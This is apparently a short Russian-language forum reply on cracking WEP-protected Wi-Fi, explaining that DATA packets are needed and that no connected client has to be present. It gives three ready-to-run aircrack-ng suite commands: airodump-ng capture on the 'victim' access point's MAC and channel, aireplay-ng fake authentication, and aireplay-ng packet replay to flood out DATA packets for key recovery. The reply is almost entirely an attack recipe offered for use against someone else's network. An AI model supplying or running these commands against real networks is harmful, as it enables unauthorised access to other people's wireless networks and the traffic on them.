Уточню, надо именно DATA-пакеты.

Следующее: необезательно что бы клиент присутствовал, задаёшь 3 команды:

airodump-ng -w wep --bssid (мак жертвы) -c (канал жертвы) mon0<br/>
aireplay-ng -1 0 -a (мак жертвы) mon0<br/>
aireplay-ng -2 -p 0841 -c (мак клиента) -b (мак жертвы) mon0

И DATA-пакеты сыпятся.